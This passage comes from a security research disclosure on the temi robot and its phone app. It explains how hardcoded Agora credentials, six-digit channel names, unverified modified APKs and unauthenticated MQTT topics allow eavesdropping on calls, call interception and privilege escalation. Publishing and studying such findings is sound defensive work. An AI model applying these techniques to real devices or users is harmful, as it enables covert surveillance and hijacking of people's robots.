The classes and methods contained within the colored regions handle rendering the screens from which calls can be initiated and the binding of these buttons to the code that actually handles calling. No matter the entry point, all outgoing calls converge at TelepresenceService.initiateCall(), so it’s worth taking a closer look at this method:

Figure 19: TelepresenceService.initiateCall()

And here are the four ways it is invoked:

Contact Details → Contact Call

Figure 20: Invoking initiateCall() from Contact Details → Contact Call

Contact Details → Robot Call

Figure 21: Invoking initiateCall() from Contact Details → Robot Call

Recent Calls → Call

Figure 22: Invoking initiateCall() from Recent Calls → Call

Robot Details → Call

Figure 23: Invoking initiateCall() from Robot Details → Call

The first parameter is an ID used to identify the callee. For temi robots, this appears to be something called a “robot ID”, whereas for contacts it is obtained via a call to getContactId(). Interestingly, for recent calls, which can be either a contact or a robot, the ID is obtained via a call to getMd5PhoneNumber(), which is a bit strange since temi does not (as far as we can tell) have a phone number. We will expand on this later.

The second parameter is a string denoting the caller’s type. Since we were looking at exclusively phone app code here, we assumed that “typeUser” denotes a caller using the phone app.

The third parameter is the callee’s display name – straightforward enough.

The fourth and final parameter is of a custom enum type that denotes the callee’s type. If calling a temi, its type is CallContactType.TEMI_CALL; otherwise, it’s CallContactType.CONTACT_CALL. Note that for the Recent Calls entry point, this value is obtained dynamically, which makes sense since this path handles calls to both contacts and temis.

It’s also worth noting that initiateCall() invokes InvitationManager.createInvitation() in order to create an Invitation object which represents the “call invitation” to be sent to the callee:

Figure 24: InvitationManager.createInvitation()

From there, as seen on line 223 of Figure 19, initiateCall() passes the result of Utils.getRandomSessionId() as the first parameter to createInvitation(), which becomes the sessionId:

Figure 25: Utils.getRandomSessionId()

All this is doing is randomly generating an integer between 100,000 and 999,999, inclusive. In other words, the sessionId is always a positive, six-digit decimal number.

By tracing this value all the way down the call chain to Agora’s nativeJoinChannel(), we discovered that this sessionId becomes the “channelName” parameter described in Figure 15 – the unique identifier for the chatroom for that particular call.  The propagation of this channel name can be seen in Figure 18; the bolded parameter in each method call contains the channel name.

Brute-Forcing the Channel Name as an Attack Vector

So why were we so interested in the Agora channel name? Well, if we look back at Figure 15, we can see that it is one of only two fields needed to join a channel since the third and fourth fields are labeled optional. The only other required field is the “token”, but looking closer at the documentation reveals that “in most circumstances, the static App ID suffices”, and in those cases the token “is optional and can be set as null”:

Figure 26: Agora documentation for joinChannel’s “token” parameter

Our next question was, does temi use a token or does it use a static App ID? We quickly answered that question by looking at how the temi phone app was calling joinChannel():

Figure 27: Agora’s joinChannel() API function being called from AgoraEngine.joinChannel()

Sure enough, the token parameter is being set to null.

This was starting to look promising – if the static App ID and channel name are all that’s needed to join an Agora video call and we already knew that temi’s channel names are restricted to six-digit values, then it might be plausible to join existing temi calls through brute force means. All we would need is this “App ID”.

Looking back at the Agora docs, we looked for which API functions actually use this App Id. As it turned out, there was only one: RtcEngine.create().

Figure 28: Agora documentation for RtcEngine.create()

Put briefly, the App ID is a static value issued to developers that is unique to each project and is used as a sort of namespace, segregating different users of Agora’s servers. This ensures that temi users can only use Agora to call other temi users. Since any temi phone app user should be able to call any temi (or other user), there should be a single App ID shared by all temi robots. We decided to take a look at how temi’s code was invoking RtcEngine.create() to see if we could track down the App ID:

Figure 29: AgoraEngine.ensureRtcEngineReadyLock()

Well, that’s not good.

In our view, this was already a vulnerability, denoted by CVE-2020-16170 and having a CVSS score of 8.2. A dedicated attacker would have no problem iterating over all 900,000 possible channel names. Worse yet, doing so would let the attacker “spray and pray”, allowing them to connect to any ongoing temi call without needing to know anything about their victims.

While we certainly couldn’t test such an exploit against a production server, we did decide to test whether an attacker could join an existing temi call knowing only the App ID and channel name in advance. To facilitate this, we used an Android phone to call our temi, making sure to run logcat on the phone before the call started. Doing so, we were able to capture the invitation message containing the channel name (labeled “sessionId”) as it was being sent to the OkHttp client, which then logged it:

Figure 30: Finding the channel name for the call using logcat

Using the hardcoded App ID and the channel name obtained from the logs we were able to successfully join an ongoing call and get both audio and video from at least one of the other callers, proving that this is a viable attack vector.

Although exploitation of this vulnerability utilizes Agora’s video calling API, its existence is a result of temi’s specific implementation of the SDK. While the decision to hardcode temi’s Agora App ID into the phone app is the root cause of this vulnerability, its impact could also have been substantially mitigated by utilizing a token or by allowing a broader range of channel names. Either of these would have rendered the brute-force attack vector incredibly difficult, if not impossible.

Exploring MQTT Attack Vectors

Overview

Outside of a brute-force method involving joining existing temi calls by trying every possible channel ID, it would be useful to have a more targeted attack vector. Moreover, while joining a call using the brute-force method would let an attacker spy on users, it would not grant them control of the robot itself – we wanted a method that would let us do both. Fortunately, this level of control is already available during normal operation of the temi robot + phone app.

Although temi uses Agora to facilitate video calls, notifying users of incoming calls, through ringing or otherwise, is not a feature implemented by Agora. In the case of temi, this functionality is implemented using MQTT. MQTT is a publish/subscribe (pub/sub) connectivity protocol designed for “machine-to-machine (M2M)/Internet of Things” communication. In it, communications are categorized into “topics” and clients can either “subscribe” to these topics to receive all their related messages, “publish” their own messages to these topics, or both. These topics are structured into a hierarchy delineated in a manner very similar to UNIX-style filesystem naming schemes, with a forward slash (“/”) separating different topic “levels”. Communication between clients is facilitated via a system known as a “broker“, usually implemented as a remote server, which handles establishing and closing connections, message delivery, and client authentication.

Unfortunately, there were several hurdles we would need to overcome in order to leverage temi’s calling functionality as an unauthorized “attacker”.

Firstly, a targeted attack method requires, at a minimum, a reliable way of uniquely identifying the target. In other words, if you are interested in hacking Bob’s temi, you need a way to pick out Bob’s temi from every other temi. A softer but equally important requirement is that this identifier must be one that an attacker could plausibly obtain. The more difficult the identifier is to obtain, the more contrived and unrealistic any attack vectors that rely on this identifier become. As an example, a name or phone number might be a plausible identifier; a social security number, less so.

Reversing temi’s MQTT implementation in its phone app code had revealed a promising potential identifier. We discovered that each robot has its own MQTT topics that it listens on, which are identified using its MQTT client ID, otherwise known as its robot ID. The robot ID for a temi can be easily obtained through normal operation of the phone app by simply adding one of its users as a phone contact, a method we had described previously. This is because the temi phone app allows the user to call any temi registered to a phone number in the user’s contacts list, which requires that temi’s robot ID. If the phone app already has access to this information locally, then it should be hypothetically possible to pull this information from the app.

Second, we needed a way to communicate with temi. If calling is facilitated through the publishing of MQTT messages to certain topics, we needed to find a way to publish our own messages to these same topics. On that note, if all MQTT messages must first pass through the broker, we needed a way to trick the broker into thinking we were a trusted MQTT client and bypass any authentication that might be in place.

One way to overcome this hurdle would be to alter the existing temi phone app. Modifying third party Android apps is a well-known process and would let us leverage the code already present for sending MQTT messages instead of writing this code from scratch. Furthermore, since the phone app requires nothing more than the phone number of one of temi’s users in order to call it (and thus, publish MQTT messages on its topics), this means that the phone app must have a way of authenticating with the broker. If we could send custom MQTT messages to arbitrary topics from the context of a “trusted” phone app, then we likely wouldn’t need to worry about authentication.

This left us with our third and final hurdle: privilege escalation. Although cold calling a temi robot is not difficult to achieve, it does not grant us the ability to remotely operate the robot on its own. This is because calling temi in this way causes it to ring and requires the call to be accepted on temi’s end via its touchscreen. Only temi’s admin, the user who registered it via QR code scan, and privileged users manually selected by this admin may directly control temi without any user interaction on the other end. Thus, we needed to find a way to escalate our privilege so that temi would pick up our calls automatically.

If MQTT is the primary means of communication between temi and its phone app users, and admins can manage the privilege levels of users directly from the phone app, it stands to reason that privilege management is likely performed through MQTT. Thus, if we could alter the phone app to spoof a privilege escalation MQTT message, we could overcome this hurdle, as well.

Modifying the temi Phone App

Since our entire plan hinged on us being able to alter the bytecode of the phone app without either breaking the app or preventing it from authenticating with the various remote servers it communicates with, we decided to first confirm that this was even possible. To accomplish this, we used a combination of ADB, Apktool, Keytool, and Jarsigner.

We began by unpacking the APK file for the temi phone app using Apktool:

Figure 31: Unpacking the temi phone app

Next, we searched the unpacked APK for the file or code we wanted to modify. For our proof-of-concept, we decided to simply change the label for the “Call” button, since it would be immediately obvious whether or not it worked. In many Android apps, the strings used for buttons are typically not hardcoded and are instead loaded from a resource file. In this case, they were loaded from the file res/values/strings.xml:

Figure 32: Searching for the call button label in strings.xml

It looked like line 108 contained the label we wanted to change. We simply replaced “Call” with “PWN” and saved our changes.

Note: For less trivial modifications, like the ones we would need to make later, this process would naturally be more involved. Since even the most sophisticated Java decompilers are unable to produce code that will actually compile for non-trivial apps, meaningful modifications usually mean having to read and modify smali, the assembler for Android’s Dalvik bytecode. That being said, we found that the best approach to making meaningful changes to a complex app like temi’s is to read Java, write smali. By this, we mean that it’s better to do your reversing on decompiled Java code and only look at the nigh-hieroglyphic smali code once you know exactly what changes you want to make and what class to make it in.

Once our modification had been made, we used Apktool again to repack the APK:

Figure 33: Repacking our modified app

Our next step was to sign the modified APK. This is because Android refuses to install any unsigned APKs, even through ADB. First, we generated a key using Keytool:

Figure 34: Generating the key we will use to sign the modified app

and then we used our key to sign the APK using Jarsigner:

Figure 35: Signing the modified app

Finally, we installed the modified APK onto an Android phone using ADB:

Figure 36: Installing the modified app

After launching the app and selecting one of our contacts, we were greeted with a pleasant sight:

Figure 37: Testing the modified app

Furthermore, the change we made did not seem to impact the app’s functionality; we could still make and receive calls, add contacts, etc.

In our view, this was a vulnerability, later denoted by CVE-2020-16168 and having a CVSS score of 6.5. An altered and potentially malicious app could still access the various cloud resources and user information made available to the temi app because no integrity checks were performed by either the app or the remote servers to ensure that the app had not been modified. As we’ll demonstrate later, the presence of this vulnerability made various other attack vectors possible.

The Relationship Between Robot IDs and MQTT Topics

In the overview section, we made the claim that “each robot has its own MQTT topics that it listens on, which are identified using temi’s MQTT client ID, otherwise known as its robot ID.” Here we will outline how we came to this conclusion and the specific format of a few of the topics that temi and its phone app subscribe/publish to.

Since we knew that temi uses MQTT to handle calling notifications, a natural place to start our investigation was the code used by the phone app to initiate calls. Moving down the call chain, we saw that the robot ID was being passed to the sendInitInvitation() method of the TelepresenceService class:

Figure 38: InvitationManagerImpl.sendInitInvitation()

Here, the robot ID is used in two different places. On line 82, an MqttDelegateApi.Topic object is created with the name “users/<ROBOT_ID>/status”, implying that each robot has its own MQTT topic category for its status and the robot ID itself is used to uniquely identify these topics. Next, on line 87, we see one of many RxJava functions (the others have been omitted) with the robot ID passed as a parameter to it. This function’s only purpose is to call InvitationManagerImpl.sendInviteMsg(), passing along the Invitation and the robot ID as its arguments:

Figure 39: InvitationManagerImpl.sendInviteMsg()

This function is of particular interest because we see the construction of another MQTT topic name on line 332, this time taking the form “client/<ROBOT_ID>/invite”. Presumably, this is the topic format used when publishing call invitations to specific temi robots (and, likely, phone contacts).

Additionally, the anonymous function executed via doOnSuccess() uses MqttManager.publish() (line 359) to actually publish the call invitation on the callee’s call invite topic. This information would become useful when we later tried to send custom MQTT messages to our temi in order to facilitate privilege escalation.

How are MQTT Call Invite Messages Published?

If we were to publish our own MQTT messages, we would need a robust understanding of the code used by the temi phone app to publish arbitrary MQTT messages, which appears to be this MqttManagerImpl.publish() method.

To determine what was actually being passed to publish(), we needed to go through what each of the RxJava functions in InvitationManagerImpl.sendInviteMsg() was doing. Referring back to Figure 39:

  • On lines 331-339, Single.zip() is called, which simply creates a Pair from the MQTT topic string (“client/<ROBOT_ID>/invite”) and the Invitation object.
  • On lines 340-355, Single.flatMap() is called, which adds a timestamp to the Invitation object inside the Pair.
  • Presuming successful execution of the previous flatMap() call, Single.doOnSuccess() is called on lines 356-372. As mentioned previously, this is where the call to MqttManagerImpl.publish() occurs. Since this doOnSuccess() operates on the value returned by the previous call to flatMap(), the arguments being passed to publish() are:
Argument Description
(String) pair.first The MQTT topic string
new Gson().toJson((Invitation) pair.second) The Invitation object as JSON
0 The integer “0”
false The boolean “false”

 

While it was obvious that the first argument is the MQTT topic the message is being published on and the second argument is the message itself, it was not immediately obvious what the third and fourth arguments were for. Digging down into the source code of the MQTT package being used (org.eclipse.paho.client.mqttv3) revealed their purpose:

Figure 40: MqttAsyncClient.publish()

After passing through a couple MqttManagerImpl methods, the four arguments listed above become the first four arguments passed to this internal publish() method. The JSON string (second argument), is converted from a string to a byte array in the interim; the rest of the arguments are unchanged.

Knowing this, it was clear that the second argument is indeed the MQTT message, the third argument is the QoS, and the fourth argument is a flag that specifies whether or not the message should be retained. A QoS value of “0” means that the message will be delivered to clients subscribed to the topic at most once. A retained flag of “false” means that new subscribers to the topic will not receive the most recent published message upon subscription.

Intercepting Calls

As we’ve already established, every temi robot has a unique MQTT client ID and many of the topics it subscribes to contain this ID to indicate that they are intended for that specific robot. If users of the temi phone app can receive calls in addition to making them, it stands to reason that they must also have a unique MQTT client ID – a robot ID equivalent. If there was an easy way to discover the client ID of another phone app user, it might be possible to subscribe to their topics and thus receive calls intended for them, making it worthy of investigation.

If we refer back to Figure 22, we saw that if a call is initiated from the Recent Calls screen, a method called getMd5PhoneNumber() is used to obtain the client ID of the callee. While a temi doesn’t have a phone number to speak of, we began to suspect that the client ID for users of the temi phone app might just be an MD5 hash of their phone number.

Although we could have followed the code in order to track down exactly where this value comes from, we thought it might be easier to simply verify our suspicions. To do this, we first took the MD5 hash of the temi admin’s phone number and then performed a string search for this hash in every temi-related file we had access to.

Figure 41: The Google Voice number used to register with temi

Figure 42: Taking the MD5 hash of the phone number

Sure enough, this hash appeared in two places. First, it appeared in the primary SQLite 3 database file for the temi app running on the robot itself. More specifically, it appears in the “RecentCallModel” table under the “userId” column for the table’s only entry. Based on the table’s name and sole entry, this is almost certainly used to store temi’s recent calls, as its admin was the only user it had called at this point.

Figure 43: The matching string in temi’s RecentCallModel table, part of its SQLite 3 Database

The second match was in the log output we saved after running logcat on our temi earlier, the same log output seen in Figure 30:

Figure 44: Matching strings in the logcat output recorded earlier

This log output appears to conclusively confirm our suspicions. With what we knew now, these log messages appeared to be JSON data being sent to/received from the MQTT broker. Moreover, the “topic” string in the first result exactly matched the MQTT topic format string found on line 82 of Figure 38. The only difference is that in that case, the string between “users/” and “/status” was the robot ID; here, it was an MD5 hash of the user’s phone number.

Since we now knew that

  1. temi robots and phone app users received calls on the topic “client/<CLIENT_ID>/invite”, where “<CLIENT_ID>” is the MQTT client ID of the callee,
  2. the MQTT client ID for phone app users was simply an MD5 hash of the phone number used to register with the app, and
  3. we could alter the existing phone app,

it stood to reason that we could modify the app to subscribe to another user’s call invite topic in order to intercept calls intended for that user as long as we knew the user’s phone number. In theory, this would allow an attacker to effectively impersonate another user and spy on them by intercepting their calls. The question then became: What code needs to be modified in order to get this to happen? Well, we’re looking at a situation where temi initiates a call with its admin and an attacker attempts to intercept that call. In the case of calls initiated by the phone app, we discovered that call invitations are sent via InvitationManagerImpl.sendInviteMsg(), which publishes the call invite message on the topic “client/<ROBOT ID>/invite”. We suspected a similar approach was being used when a call is initiated from a temi to a phone user and decided to investigate to confirm.

Luckily for us, the exact same InvitationManagerImpl.sendInviteMsg() method could be found in the temi robot’s code, and it even seemed to function identically. Thus, it was probably safe to assume that the robot initiates calls with phone users in the same way: by publishing a call invitation to the topic “client/<CLIENT ID>/invite”, CLIENT_ID being the MQTT client ID of the callee.

If the caller publishes their call invites to a certain MQTT topic, it follows that the callee must subscribe to that same topic to receive the invite. Now that we knew the format of the call invite topic, the next step was to track down the code used by the Android app to subscribe to this topic so we could alter it to subscribe to the temi admin’s topic instead.

Performing a string search for this pattern in the decompiled phone app’s code produced three unique results:

Figure 45: Searching for “client/.+/invite”

The second result we recognized as being part of the code used to generate an outgoing call invitation. Thus, we were only interested in the first and third results.

We began by looking at the first result, found on line 170 of InvitationManagerImpl.java:

Figure 46: InvitationManagerImpl.sendInviteAbortMsg()

This reference is part of the method InvitationManagerImpl.sendInvitationAbortMsg(). Since we were interested in the code that subscribes to the call invite topic and not the code that publishes messages to it, we moved on.

The third result was found on line 523 of MqttManagerImpl.java:

Figure 47: MqttManagerImpl.buildInviteTopic()

This didn’t tell us anything about how the generated topic is used, so we took a step back and looked at what code invokes this method:

Figure 48: MqttManagerImpl.lambda$initMqttClient$13()

The call to buildInviteTopic() can be seen on line 408. There’s a lot going on in this method, but at a high level it appears that it is responsible for setting the callback functions for the MqttManager, which are being defined inline. More specifically, the invite topic string generated by buildInviteTopic() is used in the connectComplete() callback function, where it is passed as the first parameter to MqttManagerImpl.subscribe().

As expected, MqttManager’s subscribe() method is used to a subscribe to a particular MQTT topic, with the first parameter being the topic string:

Figure 49: MqttMangerImpl.subscribe()

Thus, it appeared that we had found the code being used to subscribe to the call invite MQTT topic. Based on these findings, we decided the simplest approach would be to change the call to MqttManagerImpl.subscribe() on line 408 of Figure 48 – instead of passing it the topic string returned by MqttManagerImpl.buildInviteTopic(), we would instead hard-code it to pass the temi admin’s call invite MQTT topic string.

Using this approach, we were able to construct a modified temi phone app that would receive all calls intended for another user, as shown in the following video:

Here, the vulnerability was the lack of any authentication when publishing or subscribing to arbitrary topics, denoted by CVE-2020-16167 and having a CVSS score of 8.6. At a minimum, a check should have been made to ensure that clients cannot subscribe to another client’s topics.

Problem: temi Won’t Answer My Calls

Our next goal was to gain the ability initiate a call with a temi and have it automatically answer. As mentioned previously, this capability is typically reserved for the temi’s admin and users explicitly authorized by the admin. Thus, if an attacker wishes to spy on a temi user, they would need to trick temi into thinking the call is originating from one of these authorized users.

With no other leads, we began searching through the robot’s codebase for keywords related to user permissions, ownership, admin, etc. until we found a very promising enum class:

Figure 50: Class used for delineating the various roles held by temi’s users

This enum is used in com.roboteam.teamy.users.User, the class used to store information about individual temi users, with User.role being an object of the Role enum class:

Figure 51: Class used to describe individual temi users/contacts

Going back to Figure 50, if we assume that Role.ADMIN refers to the user that originally registered temi and that Role.CONTACT refers to a normal user, then Role.OWNER likely refers to a user that has been authorized to “hop in” to the robot by the admin. To verify this, we looked for places in the code where this enum is used. There are 59 unique references to the Role class, but we’ll only be looking at the pertinent ones here.

The first reference we’ll be looking at appears on lines 351 and 357 of ConferencePresenter.handleViewForCallTypes():

Figure 52: ConferencePresenter.handleViewForCallTypes()

On line 351, a string comparison is performed between this.resourcesLoader.getString(R.string.privacy_support_support_caller_name) and this.callerDisplayName; if the two match, a new User is created with a role of CONTACT. So just what is this string that the ‘if’ statement is checking against? We decided to take a look at where this constant is defined:

Figure 53: Searching for “privacy_support_support_caller_name”

Taken together, this means that if the caller’s display name is exactly “Support”, a new User is created with CONTACT privileges. This check likely exists in the event that a member of temi’s support staff calls a user. While this was certainly interesting, it is a niche scenario.

What happens if the caller’s name is not “Support”? In that case, the else statement on line 352 is hit, which simply sets user to the result of getUserbyPeerId():

Figure 54: ConferencePresenter.getUserByPeerId()

This method tries to obtain the User associated with the current caller by performing a lookup in temi’s UsersRepository using the caller’s MQTT client ID. If the lookup succeeds, the found User is returned; if it fails, a new User is created with Role.CONTACT privileges.

As mentioned previously, Figure 52 contains two references to the Role class. Let’s now look at the second reference, found on line 357. Here, the role of the user is checked. If they are either an ADMIN or an OWNER, temi:

  • waits 1.5 seconds (line 362)
  • checks if the call hasn’t already ended (line 365)
  • if it hasn’t, answers the incoming call (line 370)

Otherwise, the function returns after setting the app’s view for an incoming call.

Solution: Become an OWNER

To recap what we’ve learned thus far:

  • The role of ADMIN appears to be reserved for the user that originally registers temi via QR code scan.
  • If the user calling temi is not recognized, a new User object is created for them with CONTACT privileges.
  • If the user calling temi is recognized, their role is checked:
    • If they are a CONTACT, temi waits for the call to be answered via touchscreen.
    • If they are either an ADMIN or an OWNER, temi answers the call automatically. This is the behavior we want.

Scanning the temi’s QR code for the purposes of registration is only possible when temi is first powered on or after performing a factory reset. Thus, the attacker cannot realistically make themselves an ADMIN. And since CONTACT privileges are insufficient to get temi to pick up automatically, our best bet was to figure out how to obtain the role of OWNER.

Adding an OWNER: Phone App’s Perspective

Although we knew that it was possible to promote a user to an OWNER using the phone app and we suspected that was achieved via MQTT, we still weren’t sure of what goes on “under the hood” to make that happen.

After some searching, we found that AddOwnersPresenter.addOwners() is called whenever an admin selects one or more users to be granted OWNER privileges:

Figure 55: AddOwnersPresenter.addOwners(), trimmed

Here, selectedIds refers to the MQTT client IDs of the users selected to be promoted and robotId refers to the MQTT client ID of the temi robot this method is granting permissions for.

The majority of this method’s body has been trimmed because we’re really only concerned with what’s happening on lines 104-106, which seems to handle sending the request to add an OWNER – the rest of the method is dedicated to logging and updating local databases to reflect the new OWNERs.

This request is sent by first fetching the unique private key used to identify this app’s instance (line 101), and then creating a new AddRemoveOwnersRequest using the selectedIds, robotId, and this private key:

Figure 56: AddRemoveOwnersRequest

The constructor for AddRemoveOwnersRequest creates a timestamp for the request, then creates a new AddOwnersRequestRequest, which contains the body of the request, and finally uses the passed in privateKey in order generate a signature for the AddOwnersRequestRequest. In other words, AddRemoveOwnersRequest is nothing more than a wrapper for the real request and is used to store its signature.

We decided to look at this AddOwnersRequestRequest object next. While the ownerIds, robotId, and timestamp members were mostly self-explanatory, source and type were less so. Looking back at line 8, we saw that source was being set to a hardcoded value of “ADMIN”, which seemed to imply that this was the origin of the request. Looking back at line 6, we saw that type is simply the passed in OwnersRequestType enum (in our case, OWNERS_ADD_TYPE) converted to a string. This enum, defined near the bottom of the class, can take on two values: OWNERS_ADD_TYPE and OWNERS_REMOVE_TYPE. This implied that this same structure was recycled for requests meant to demote OWNERs back to CONTACTs.

Thus, we determined that AddRemoveOwnersRequests had the following structure:

Figure 57: Anatomy of an AddRemoveOwnersRequest

Now that we knew the structure of these requests, we next wanted to know how they were being sent and where. To this end, we decided to look at OwnersApi.addOwners(), which, according to Figure 55, is actually sending the AddRemoveOwnersRequest.

Figure 58: OwnersApi.addOwners()

The body of this method didn’t tell us much, but the imports for the OwnersApi class gave us a clue: this was using the Retrofit 2 HTTP Client for Android, which is typically used to send HTTP requests to a REST API. According to this Retrofit tutorial, the @POST annotation “indicates that we want to execute a POST request when this method is called” and “the argument value for the @POST annotation is the endpoint.” The @Body annotation, on the other hand, indicates that we want the AddRemoveOwnersRequest to serve as the body of the POST request.

Okay, so this method is simply sending the request to add an OWNER via POST to some REST server at the endpoint “ownership/admin/add/owners”. Our next question became: Where is this REST server located?

Part 5 of that same Retrofit tutorial told us that the getClient() method is typically used to obtain/create a Retrofit instance, and the only argument it takes is a string containing the URL for the REST server. Searching for “getClient()” in the phone app’s code led us to ApiClient.getClient():

Figure 59: ApiClient.getClient()

Working backwards from this method, we were able to track down the server’s URL:

Figure 60: URLs for the MQTT broker and REST server

This URL confirmed that the recipient of this request was not the temi robot and it was not being sent via MQTT, contrary to our initial assumptions. This begged the question: If the phone app wasn’t sending these requests to temi, how was temi being notified of any updates to the privileges of its users? We hypothesized that this REST server was simply a middleman whose job was to authenticate all requests to add/remove OWNERs by checking the request’s signature against the admin’s public key that was saved during temi’s initial registration process. This extra level of authentication made sense since privilege management was a particularly sensitive functionality. Presumably, this same REST server would then forward the request to the robot if it determined that the request’s signature was valid.

We took some time trying to send these requests from a user that wasn’t temi’s admin, but they failed, lending some credence to our theory. This was looking like a dead end.

Adding an OWNER: temi’s Perspective

Well, if we couldn’t successfully spoof the request the phone app sends to the REST server, perhaps we could instead spoof the request the server sends to temi, bypassing the authentication mechanism altogether. We started looking for the code temi used to handle these requests.

Searching specifically for “Role.OWNER” in the temi’s decompiled code led us to OwnersController$getUsersRepository$2.apply():

Figure 61: OwnersController$getUsersRepository$2.apply()

Starting with OwnersController$getUsersRepository$2, we moved up the call chain in an attempt to discover how temi processes requests to add OWNERs. More concretely, this was accomplished through a liberal use of the “Find Usage” feature in JADX, which can be done by simply right-clicking virtually any symbol. Although convenient, “Find Usage” would often fail when the method in question was not invoked directly, such as when an implementation of an abstract class/interface served as the middleman. In such cases, we would perform a string search for instances where the method was invoked in the smali code. To help separate invocations from declarations, we took advantage of the smali syntax for method calls, which consisted of the name of the class the method belonged to, followed by a right arrow (->), followed by the method’s signature.

As an example, “Find Usage” failed for the accept() method of the class UsersAdminTopicListener$listenToUserAdminTopic$1, so to find where it’s invoked, we ran:

Figure 62: Searching for UsersAdminTopicListener$listenToUserAdminTopic$1.accept() in the smali code

For especially indirect invocations, like dependency injection, more creative means had to be used, but a combination of “Find Usage” and string searches such as these got us 99% of the way there.

Using this approach, we found that the mechanism begins with the UsersAdminTopicListener class, which, as the name suggests, handles listening on temi’s “users admin” topic. Moving down the call chain from here, we found out how messages received on this topic are processed by temi and ultimately used to alter the Role, or privilege level, of certain contacts. Based on our earlier analysis, it was likely that the REST server would forward the request sent by the phone app to this MQTT topic.

We found that the bulk of the work is performed by a method called listenToUserAdminTopic():

Figure 63: UsersAdminTopicListener.listenToUserAdminTopic()

This function does several things. First, on line 50, it creates a Flowable object by calling UsersAdminTopicListener.getOwnerRequestFlowable(). Next, on lines 51-56, it subscribes to this Flowable and for each emitted OwnersRequest, it calls OwnersController.handle$app_usaDemoRelease() upon success or simply logs upon failure.

We decided to first look at the code for getOwnerRequestFlowable():

Figure 64: UsersAdminTopicListener.getOwnerRequestFlowable()

  • It begins by first converting an Observable obtained via mqttPipeline.observe() into a Flowable.
  • Next, it throws out all emitted MqttMessages whose topic doesn’t match the regex “users/.+/admin” via RxJava’s filter() method.
  • RxJava’s map() method is then used convert the body of the MqttMessage from JSON to an object of the OwnersMessage
  • Finally, map() is used a second time to extract and return the OwnersRequest from each OwnersMessage.

At this point, we decided it would be useful to understand the structure of OwnersRequests and OwnersMessages, since these seem to be key to temi’s privilege management mechanisms:

Figure 65: Anatomy of an OwnersMessage

Put briefly, each OwnersMessage is nothing more than a wrapper for an OwnersRequest, which consists of ownerIds, a list of the MQTT client IDs of the users whose privileges are being modified, and type, which indicates whether the request is trying to promote a CONTACT to an OWNER (OWNERS_ADD) or demote an OWNER back to a CONTACT (OWNERS_REMOVE).

Comparing this to Figure 57, an OwnersMessage appears to be an AddRemoveOwnersRequest without the signature. Similarly, an OwnersRequest appears to be a stripped-down AddOwnersRequestRequest, with the robotId, source, and timestamp omitted. This meshes well with our earlier hypothesis that the REST server’s job is to authenticate and forward AddRemoveOwnersRequests to the temi robot. The signature, timestamp, and source would be omitted since they’ve already been verified by the server; the robotId, while needed by the server to know where to forward the request, becomes redundant once the request reaches temi.

Our next step was to figure out what handle$app_usaDemoRelease() does. Since it’s quite the rabbit hole, however, we will summarize its effects in lieu of venturing down it:

  1. It queries the Users table in temi’s local database for all users with IDs matching any of the ones in the OwnersRequest’s ownerIds
  2. It replaces the Role for each of these users with one corresponding to the OwnersRequest’s type: OWNERS_ADD→ OWNER, OWNERS_REMOVE → CONTACT.
  3. It updates temi’s Users table with the updated user information.

This was promising, since it meant that we could potentially trick temi into promoting an arbitrary user/contact to an OWNER simply by crafting a custom OwnersRequest and publishing it on temi’s “users/<ROBOT_ID>/admin” topic, thereby bypassing the authentication server entirely.

Unfortunately, part 1 above reveals a potential obstacle for this plan: since temi will only process OwnersRequests for users already present in its local Users table, we must first add ourselves to this table for this strategy to succeed. Recalling our earlier analysis of how temi handles unrecognized callers, one way of accomplishing this was to simply cold call temi, which would cause it to automatically add the caller to its contacts list. This was far from ideal, however, since cold calling  temi without already having the role of OWNER or ADMIN would cause it to ring and display the caller’s username on its screen, potentially alerting temi’s users that something weird is going on.

Detour: Sneaking Onto temi’s Contact List

Before continuing on, we decided to take a brief detour to find a better way for an attacker to add themselves to temi’s contact list.

From our prior investigation into how temi implements its various privilege levels through the use of Roles, we discovered that temi uses the User class to define its various users. Thus, it follows that any code used to add a new user to temi’s local contact list would first create a new User object, so that’s exactly what we searched for.

Figure 66: Searching temi’s code for “new User(“, trimmed

Figure 66 shows the result that we followed up on, the others have been omitted. The name of the containing class, SyncContactsController, sounded promising on its own since syncing contacts from temi’s ADMIN would likely involve adding new contacts without needing to start a call, which was exactly what we were trying to do.

Using largely the same strategy we employed for tracing the code flow for adding OWNERs (JADX’s “Find Usage” feature + grepping the smali code), we were able to trace the code flow all the way back to the app’s entry point. With a more holistic understanding of the mechanism used to sync contacts, we realized that the process is ultimately kicked off by SyncContactsTopicListener.subscribeMqttPipeline():

Figure 67: SyncContactsTopicListener.subscribeMqttPipeline()

The first thing this method does is take this.mqttPipeline and turns it first into an Observable (using MqttPipeline.observe()) and then into a Flowable (using RxJavaInterop.toV2Flowable()), as seen on lines 29 and 30.

Essentially, this.mqttPipeline acts as a relay. Incoming MQTT messages are pushed to the relay using its push() method, which it then relays to all its observers.

The output of this relay is then filtered on lines 31-38 to only return MQTT messages received on topics matching the regex “synccontacts/.+”. Based on the other MQTT topic strings we’ve seen up to this point –

  • “users/<CLIENT_ID>/status”
  • “users/<CLIENT_ID>/admin”
  • “client/<CLIENT_ID>/invite”

– we were fairly certain temi’s client ID goes after the forward slash. Thus, temi appeared to be listening on the MQTT topic “synccontacts/<CLIENT_ID>” for messages regarding contact synchronization.

On lines 39-43, the now-filtered MQTT messages emitted by the relay are passed to a call to RxJava’s map() function, which converts each incoming MQTT message from JSON to an object of the SyncContactsMessage class. We quickly determined that SyncContactsMessages had the following structure:


Figure 68: Anatomy of a SyncContactsMessage

Put briefly, each SyncContactsMessage consisted of a senderClientId, a string holding the MQTT client ID of the request’s sender, and contacts, a list of ContactEntry objects. Each ContactEntry object in the list corresponded to a contact to be synced to temi’s contact list, containing both their clientId and their name.

Finally, on lines 45-49, SyncContactsController.save() would be called on each SyncContactsMessage spit out by the prior call to map():

Figure 69: SyncContactsController.save()

This method is doing a lot, but we’ll focus on only the most pertinent side-effects:

  • On lines 53-62, all messages where the senderClientId does not match the temi admin’s client ID are discarded. This will become important later.
  • On lines 63-75, the list of contacts is extracted from the SyncContactsMessage and is used to build a list of User objects – one per contact. The Users produced by this method are initialized in the following manner:
Member Assigned Value
User.id ContactEntry.clientId
User.name ContactEntry.name
User.picUrl “”
User.role Role.CONTACT
User.userId SyncContactsMessage.senderClientId

 

  • On lines 81-85, our newly-minted list of User objects is passed to insertOrUpdateContact(). This method writes the list of Users to the Users table in temi’s SQLite 3 database, completely overwriting temi’s old contacts list in the process.

